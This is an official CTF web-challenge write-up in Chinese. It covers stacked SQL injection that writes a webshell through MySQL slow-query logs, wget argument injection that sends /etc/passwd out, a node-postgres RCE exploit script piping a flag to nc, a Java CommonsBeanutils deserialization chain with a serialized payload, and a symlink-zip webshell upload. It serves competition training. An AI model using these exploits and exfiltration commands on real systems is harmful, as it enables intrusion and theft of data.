2021深育杯线上初赛官方WriteUp-Web篇
Web
EasySQL
访问robots.txt,可得三个文件index.php、config.php、helpyou2findflag.php。
fuzz黑名单,可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。
经测试可得到闭合方式为括号,且白名单为数据库记录行数,使用1);{sqlinject}-- +
可以闭合查询语句并进行堆叠注入。
show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
setglobal slow_query_log=1; # 开启慢查询日志
setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置
查询慢日志记录有关的变量。
修改慢查询日志的保存位置。
sleep函数在黑名单中因此不能直接使用,这里有一个考点:慢查询日志只会记录超过long_query_time
时间的查询语句,因此要在写入webshell
的sql语句中超过执行耗时命令,由于union
和sleep
都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改long_query_time
的值。
1);setglobal long_query_time=0.000001;--+
1);show variables like 'long_query_time';--+
查询慢查询日志的判定时间。
查询一个webshell
,查询记录就会被添加到slow_query_log_file
变量所指向的位置,这里fuzz
黑名单可知一句话木马中常见的关键词被过滤了,绕过一下即可:1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+
访问helpyou2findflag.php
即可访问webshell。
接下来就是找flag了,查看用户发现有rainbow用户,ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27\{\%20print%20$1}%27%20/etc/passwd
,查看家目录发现有ssh.log
,flag就在其中。
FakeWget
题目只有三个路由,一个输入点,容易判断考点是命令注入,因此需要先不断测试传入数据并刷新观察回显,来猜测后端与wget命令拼接逻辑和过滤逻辑,下面是三个比较典型的fuzz示例:
www.baidu.com
teststr with space www.baidu.com
这里fuzz出空格不可用
ls;\nwww.baidu.com
这里fuzz出分号不可用,同理可得反引号,|,;,&
均被过滤,同时能够测试出可利用\n
绕过正则检查,只需要构造出空格且领用wget命令即可
第一步测试出可利用\n绕过合法性检查,且特殊符号被替换成空格,至此已经能够构造出POC读文件了,利用http_proxy
和--body-file
参数读取本地文件发送到代理服务器上:
-e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com
这里特殊符号被替换成空格,\n
绕过了检查wget的grep命令,并将/etc/passwd
的文件内容发送到代理机上。
接下来就是找flag文件,第三个路由(点击getflag)访问后看网站源码,可知flag文件名称是flag_is_here
建议的思路是:/etc/passwd
看到有ctf_user用户,读取ctf_user用户的.bash_history
得到flask程序的根目录是/home/ctf_user/basedirforwebapp/
,直接读文件/home/ctf_user/basedirforwebapp/flag_is_here
即可得到flag。
EasyWAF
访问首页“/”时,发现cookie为node=dGhlcmUgaXMgbm90aGluZ34h
,base64解码后结果为“there is nothing~!”
。
访问接口“/register”时,尝试进行注入,会提示“SQL Injection Attack Found! IP record!”。
正常访问接口“/register”时,返回结果为“IP have recorded!”,同时发现设置了Cookie为node=bWF4X2FsbG93ZWRfcGFja2V0
,base64解码后结果“max_allowed_packet”。
访问“/hint”时,发现cookie为node=fiBub2RlLXBvc3RncmVzIH4h
,base64解码后结果为“~ node-postgres ~!”。
进一步进行注入探测,可以知道,过滤了以下字符串:
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
结合以上两点信息,可以知道此web服务使用nodejs,并且waf数据保存在mysql中,而注册数据保存在postgresql中,同时可以利用mysql的max_allowed_packet特性绕过waf,并结合nodejs postgres包的RCE漏洞进行利用,给出如下exp.py。
from random import randint
import requests
import sys
# payload = "union"
def exp(url, cmd):
print(cmd)
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`%s`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--"""% (' '* 1024* 1024* 16, cmd)
username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))
data = { 'username': username + payload,'password': 'ABCDEF'}
print('ok')
r = requests.post(url, data = data)
print(r.content)
if __name__ == '__main__':
exp(sys.argv[1], sys.argv[2])
执行“python3 exp.py http://ip:端口/register "cat flag.txt|nc ip 端口"”,如下:
远程服务器监听9999端口,获得flag。
Web-log
访问网站自动下载了一个log文件。
打开查看内容,提示logname错误,那么可能需要提交logname。
并且抓包可以发现filename的路径为logs/info/info.2021-08-22.log
。
提交参数仍然返回错误,但可以看到改文件名其实是一个日志文件名,那么他应该是按日分割的,代入今天的年月日。
发现成功读取到日志文件(这里无法做目录遍历),根据日志内容可判断,该web是springboot,对应的jar包名为cb-0.0.1-SNAPSHOT.jar
,尝试是否可以下载jar包。
成功下载jar包。
反编译jar包,可以看到刚才访问请求方法为index。
并且发现还存在一个/bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser
接口,对提交的user参数做base64解码,并进行反序列化,那么该处存在一个反序列化漏洞。
分析pom.xml
文件,发现有commons-beanutils:1.8.2
依赖。
但ysoserial
工具里的CommonsBeanutils
链,除了依赖commons-beanutils
以外,还依赖commons-collections
,导致无法使用。
这里需要找到一条无依赖CC包的利用链,如下图所示:
publicclassCommonsBeanutilsNoCC{
publicstaticvoid setFieldValue(Object obj, String fieldName, Object value) throwsException{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
publicbyte[] getPayload(byte[] clazzBytes) throwsException{
TemplatesImpl obj = newTemplatesImpl();
setFieldValue(obj, "_bytecodes", newbyte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", newTransformerFactoryImpl());
finalBeanComparator comparator = newBeanComparator(null, String.CASE_INSENSITIVE_ORDER);
finalPriorityQueue<Object> queue = newPriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", newObject[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = newByteArrayOutputStream();
ObjectOutputStream oos = newObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
上述的clazzBytes需替换成springboot回显class,代码如下:
publicclassSpringEcho{
publicSpringEcho() throwsException{
{
Object httpresponse = null;
try{
Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("getRequestAttributes", newClass[0]).invoke(null, newObject[0]);
Object httprequest = requestAttributes.getClass().getMethod("getRequest", newClass[0]).invoke(requestAttributes, newObject[0]);
httpresponse = requestAttributes.getClass().getMethod("getResponse", newClass[0]).invoke(requestAttributes, newObject[0]);
String s = (String)httprequest.getClass().getMethod("getHeader", newClass[]{String.class}).invoke(httprequest, newObject[]{"Cmd"});
if(s != null&& !s.isEmpty()) {
httpresponse.getClass().getMethod("setStatus", newClass[]{int.class}).invoke(httpresponse, newObject[]{newInteger(200)});
byte[] cmdBytes;
if(s.equals("echo") ) {
cmdBytes = System.getProperties().toString().getBytes();
} else{
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? newString[]{"cmd.exe", "/c", s} : newString[]{"/bin/sh", "-c", s};
cmdBytes = new java.util.Scanner(newProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\A").next().getBytes();
}
Object getWriter = httpresponse.getClass().getMethod("getWriter", newClass[0]).invoke(httpresponse, newObject[0]);
getWriter.getClass().getMethod("write", newClass[]{String.class}).
invoke(getWriter, newObject[]{(newString(cmdBytes))});
getWriter.getClass().getMethod("flush", newClass[0]).invoke(getWriter, newObject[0]);
getWriter.getClass().getMethod("close", newClass[0]).invoke(getWriter, newObject[0]);
}
} catch(Exception e) {
e.getStackTrace();
}
}
}
}
两者结合生成序列化数据,提交到服务端,数据包如下:
POST /bZdWASYu4nN3obRiLpqKCeS8erTZrdxx/parseUser HTTP/1.1
Host: 192.168.111.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/91.0.4472.101Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1626766160499; xinhu_ca_rempass=0; xinhu_ca_adminuser=zhangsan
Connection: close
Cmd: cat /tmp/RyJSYfyVl6i2ZnB9/flag_kzucLifFImOTUiLC.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 4377
user=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAISQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtTAALX2F1eENsYXNzZXN0ADtMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvSGFzaHRhYmxlO1sACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////wBwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2bAYIVOACAAB4cAAACiDK/rq%2bAAAAMgCzAQAaVGVzdC9HYWRnZXQyMjY1MzgxMzc4NDExMDAHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAGkdhZGdldDIyNjUzODEzNzg0MTEwMC5qYXZhAQAGPGluaXQ%2bAQADKClWDAAHAAgKAAQACQEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggACwEAD2phdmEvbGFuZy9DbGFzcwcADQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DAAPABAKAA4AEQEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCAATAQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAFQAWCgAOABcBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHABkBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMABsAHAoAGgAdAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAfACAKAAQAIQEACmdldFJlcXVlc3QIACMBAAtnZXRSZXNwb25zZQgAJQEACWdldEhlYWRlcggAJwEAEGphdmEvbGFuZy9TdHJpbmcHACkBAANDbWQIACsBAAdpc0VtcHR5AQADKClaDAAtAC4KACoALwEACXNldFN0YXR1cwgAMQEAEWphdmEvbGFuZy9JbnRlZ2VyBwAzAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DAA1ADYJADQANwEABChJKVYMAAcAOQoANAA6AQAJYWRkSGVhZGVyCAA8AQADVGFnCAA%2bAQAHc3VjY2VzcwgAQAEABGVjaG8IAEIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAEQARQoAKgBGAQAQamF2YS9sYW5nL1N5c3RlbQcASAEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMAEoASwoASQBMAQATamF2YS91dGlsL0hhc2h0YWJsZQcATgEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsMAFAAUQoATwBSAQAIZ2V0Qnl0ZXMBAAQoKVtCDABUAFUKACoAVgEAB29zLm5hbWUIAFgBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABaAFsKAEkAXAEAC3RvTG93ZXJDYXNlDABeAFEKACoAXwEABndpbmRvdwgAYQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABjAGQKACoAZQEAB2NtZC5leGUIAGcBAAIvYwgAaQEABy9iaW4vc2gIAGsBAAItYwgAbQEAEWphdmEvdXRpbC9TY2FubmVyBwBvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwBxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwABwBzCgByAHQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAdgB3CgByAHgBABFqYXZhL2xhbmcvUHJvY2VzcwcAegEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAHwAfQoAewB%2bAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAHAIAKAHAAgQEAA1xcQQgAgwEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwwAhQCGCgBwAIcBAARuZXh0DACJAFEKAHAAigEACWdldFdyaXRlcggAjAEABXdyaXRlCACOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgcAkAoAkQAJAQAGPT09PT09CACTAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsMAJUAlgoAkQCXAQAFKFtCKVYMAAcAmQoAKgCaCgCRAFIBAAVmbHVzaAgAnQEABWNsb3NlCACfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAoQEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKMBAA1nZXRTdGFja1RyYWNlAQAgKClbTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDsMAKUApgoApACnAQAEQ29kZQEACkV4Y2VwdGlvbnMBABNbTGphdmEvbGFuZy9TdHJpbmc7BwCrAQACW0IHAK0BAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAsAoAsQAJACEAAgCxAAAAAAABAAEABwAIAAIAqQAAAjIACgAJAAAB3Sq3ALIBTBIMuAASEhQDvQAOtgAYAQO9AAS2AB5NLLYAIhIkA70ADrYAGCwDvQAEtgAeTiy2ACISJgO9AA62ABgsA70ABLYAHkwttgAiEigEvQAOWQMSKlO2ABgtBL0ABFkDEixTtgAewAAqOgQZBAGlAAsZBLYAMJkABqcBUyu2ACISMgS9AA5ZA7IAOFO2ABgrBL0ABFkDuwA0WREAyLcAO1O2AB5XK7YAIhI9Bb0ADlkDEipTWQQSKlO2ABgrBb0ABFkDEj9TWQQSQVO2AB5XGQQSQ7YAR5kAEbgATbYAU7YAVzoFpwBhElm4AF22AGASYrYAZpkAGQa9ACpZAxJoU1kEEmpTWQUZBFOnABYGvQAqWQMSbFNZBBJuU1kFGQRTOga7AHBZuwByWRkGtwB1tgB5tgB/twCCEoS2AIi2AIu2AFc6BSu2ACISjQO9AA62ABgrA70ABLYAHjoHGQe2ACISjwS9AA5ZAxIqU7YAGBkHBL0ABFkDuwCRWbcAkhKUtgCYuwAqWRkFtwCbtgCYEpS2AJi2AJxTtgAeVxkHtgAiEp4DvQAOtgAYGQcDvQAEtgAeVxkHtgAiEqADvQAOtgAYGQcDvQAEtgAeV6cADjoIGQi2AKhXpwADsQABAAYBzgHRAKIAAQCvAAAAOwAJ/wB7AAUHAAIHAAQHAAQHAAQHACoAAAL7AGolUgcArPwAJAcArvoAhv8AAgACBwACBwAEAAEHAKIKAKoAAAAEAAEAogABAAUAAAACAAZwdAAEUHducnB3AQB4cQB%2bAA54
拿到回显了。
tmp目录下找到flag文件。
获取到flag。
ZIPZIP
当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。
查看upload.php源码:
zip.php
构造payload:
先构造一个指向/var/www/html
的软连接(因为html目录下是web环境,为了后续可以getshell)。
利用命令(zip --symlinks test.zip ./*)
对test文件进行压缩。
此时上传该test.zip解压出里边的文件也是软连接/var/www/html
目录下接下来的思路就是想办法构造一个gethsell文件让gethsell文件正好解压在/var/www/html
此时就可以getshell。
构造第二个压缩包,我们先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,在压缩创建的test目录 此时压缩包目录架构是:test/cmd.php
。
当我们上传这个压缩包时会覆盖上一个test目录,但是test目录软链接指向/var/www/html
解压的时候会把cmd.php
放在/var/www/html
,此时我们达到了getsehll的目的。
上传第一个压缩包:
在上传第二个压缩包文件,此时cmd.php已经在/var/ww/html
目录下访问。
访问cmd.php执行命令成功读取到flag。
- 本文作者: 深信服千里目安全实验室
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/906
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!